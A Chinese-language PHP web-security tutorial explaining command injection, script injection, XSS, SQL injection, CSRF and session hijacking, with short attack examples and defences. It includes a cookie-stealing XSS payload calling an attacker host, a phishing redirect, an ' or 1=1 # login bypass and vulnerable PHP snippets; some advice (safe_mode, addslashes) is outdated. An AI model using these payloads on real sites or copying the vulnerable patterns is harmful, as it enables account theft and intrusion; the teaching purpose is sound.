-
命令注入攻击:
不要相信客户端输入
function A(){} function B(){} $myFunc = $_GET["myFunc"]; echo $myFunc(); // 本意通过 http://localhost?myFunc=A来动态调用A方法或者B方法, // 但是,假如调用为 http://localhost?myFunc=phpinfo,及暴露了服务器信息
解决方法:
1. 尽量不要执行外部命令
2. 使用自定义函数或者函数库来代替外部命令(如通过系统函数如system, exec, shell_exec执行的外部命令,把exec("ls -al")获取目录信息,改为通过opendir, readdir方式获取)
3. 开启安全模式。在php.ini中,开启safe_mode。
开启后,会受到一定的影响,如:
* 尝试访问文件系统的函数将会被限制,运行服务器的用户id,如果想要尝试操作某个文件,必须要用户该文件的读取或者写入的访问权限。(如ckdir, fopen, require, include, rename, copy, mkdir, touch, move_uploaded_file等)
* 一些扩展函数也会受到限制,不能在程序里面直接加载扩展,只能到php.ini里加载。
* php如果需要执行操作系统的程序时,必须在safe_mode_exec_dir中指定程序的路径。 -
客户端脚本植入
植入步骤
可以插入跳转钓鱼网站的代码(window.location.href="http://www.yjshare.cn"),或者无限alert的弹窗,或者其他的js代码进行攻击防范办法:
使用htmlspecialchars将特殊代码转为html编码 -
跨网站脚本攻击(XSS攻击)
XSS攻击,意为跨网站脚本攻击,主要被攻击者用来读取网站用户的cookie或者其他用户数据,一旦攻击者得到这些数据,就能伪装成此用户来登陆网站,获得此用户的权限
攻击步骤
比如有人发你一个链接:http://www.yjshare.cn/index.php?key=<script>window.location.href='http://www.hack.com/getcookie?key='+document.cookie</script>,你的服务器index.php执行了这个代码,把key客户端请求的key原样输出,然后浏览器执行了script代码,就会把你在这个网站的cookie信息带给攻击者的服务器。
危害- 通过document.cookie盗取cookie
- 使用js或css破坏页面正常的结构与样式
- 流量劫持(通过访问某段具有window.location.href定位到其他页面)
- Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
XSS防范
- 对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。
- 对用户输入数据的处理。不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。例如用htmlspecialchars进行html编码,或者对输入进行过滤,过滤掉类似<script>这样的关键词。
-
SQL注入
攻击步骤
实例:-
最经典的就是登陆的sql注入了,如果服务器的逻辑是这样的
$query = "select * from user where username='$_GET[username]' and password='$_GET[password]';"; $result = mysql_query($query) or die("");
-
当用户输入是这样的:[ login.php?username=' or 1=1 #&password= ],那么sql语句就变成了:
$query = "select * from user where username=" or 1=1 # and password=";
防范方法:
- 对客户端参数过滤或者转义,如intval转换整数,floatval或doubleval转换浮点数,用addslashes对单引号(')、双引号(")、反斜杠()、null等字符前,加上反斜杠
-
-
跨网站请求伪造攻击(CSRF攻击)
攻击步骤
- 对于一个留言板模块,假如可以插入图片,攻击者写入<img src="delete.php?id=1">
- 访问到这个图片的用户,看不到这个图片,但是会去访问delete.php?id=1这个地址
- 假如这个地址是用来删除留言,那么该用户就在不知情的情况下,调用了删除的操作
防范方法
防范 CSRF 要比防范其他攻击更加困难,因为 CSRF 的 HTTP 请求虽然是攻击者伪造的,但是却是由目标用户发出的,一般常见的防范方法有下面几种:- 检查网页的来源(HTTP的HTTP_REFERER)
- 检查内置的隐藏变量(我们在表单中内置一个隐藏变量和一个 session 变量,然后检查这个隐藏变量和 session 变量是否相等, 以此来判断是否同一个网页所调用,如Laravel的csrf_token)
- 使用 POST,不要使用 GET
-
会话劫持
会话劫持指的是攻击者用各种手段获取用户的session_id,然后利用用户的身份来登陆网站,获取用户的操作权限
MS-PHP-安全
©著作权归作者所有,转载或内容合作请联系作者
- 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
- 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
- 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...